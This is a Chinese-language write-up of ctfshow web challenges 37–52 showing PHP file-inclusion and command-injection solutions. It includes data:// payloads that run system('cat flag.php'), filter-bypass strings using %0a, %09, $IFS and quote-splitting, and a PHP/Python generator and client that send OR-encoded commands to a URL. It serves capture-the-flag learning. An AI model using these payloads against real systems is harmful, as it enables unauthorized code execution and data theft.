当前位置: 首页 > news >正文

ctfshow-web入门37-52

include($c);表达式包含并运行指定文件。

使用data伪协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

是<?php system('cat flag.php');?> base64加密

源代码查看得到flag

38

多禁用了php和file。不会改变伪协议,继续使用上一题命令

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

39

被添加了".php"​后缀,data://text/plain,​就相当于已经执行了php语句并闭合了,所以此处添加的.php​并不会有影响。

 把上一题的base64加密改回去就行了

?c=data://text/plain,<?php system('cat f*')?>

40

过滤了数字和各种符号

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

41

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("="*50)exit(0)
url=argv[1]
def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)

42

>/dev/null 命令不回显   使用;即可绕过

?c=cat f*;

查看源代码

43

禁用了;可以使用

%0a(换行符)

|     执行前面那条命令

||   执行后面那条命令

&  都执行

&& 都执行

cat被禁用可以使用 nl tac

查看源代码得到flag

44

多禁用一个flag,没啥区别 使用之前代码就行

45

多禁用了个空格 使用%09    都可以绕过

或者?c=echo$IFS`tac$IFS*`%0A

?c=nl$IFS$9f*||

46

禁用了数字但并不影响%09

*号被禁可以使用fl''ag  或fla?

47

?c=nl<fl''ag.php||

?c=nl%09fla?.php||

48

使用上一题命令就行

?c=nl<fl''ag.php||

49

一样

?c=nl<fl''ag.php||

50

同理

51

过滤了tac

使用nl继续

52

<> %09 都禁了使用$IFS

 ?c=nl${IFS}fl''ag.php||

http://www.lryc.cn/news/214460.html

相关文章:

  • 前端项目部署后,需要刷新页面才能看到更新内容
  • android 13 write javaBean error at *** 错误
  • Only fullscreen opaque activities can request orientation
  • 前端实验(一)单页面应用的创建
  • 数字人小灿:始于火山语音,发于 B 端百业
  • 蓝桥杯刷题
  • Go Metrics SDK Tag 校验性能优化实践
  • 二叉树问题——前/中/后/层遍历问题(递归与栈)
  • Vue3问题:如何实现级联菜单的数据懒加载?
  • STM32-电源管理(实现低功耗)
  • vue 自己捣鼓周日程日历组件
  • 【力扣】2127. (分类讨论 + 拓扑排序)参加会议的最多员工数
  • Flutter——最详细(Map)使用教程
  • vue的入门第一课
  • 已解决:conda找不到对应版本的cudnn如何解决?
  • 大语言模型的学习路线和开源模型的学习材料《二》
  • Flask-SQLAlchemy事件钩子介绍
  • C++——list
  • 【Linux】第九站:make和makefile
  • 一文了解什么是WebSocket
  • redis是什么
  • 基于深度学习的人脸专注度检测计算系统 - opencv python cnn 计算机竞赛
  • 跨境电商的新引擎:崛起的网红经济
  • P2006 赵神牛的游戏 python解法
  • Unity的碰撞检测(六)
  • 从前序与中序遍历序列构造二叉树
  • antd5上传图片显示405解决
  • 生成瑞利信道(Python and Matlab)
  • 数据结构Demo——简单计算器
  • java实现多文件打包压缩,导出zip文件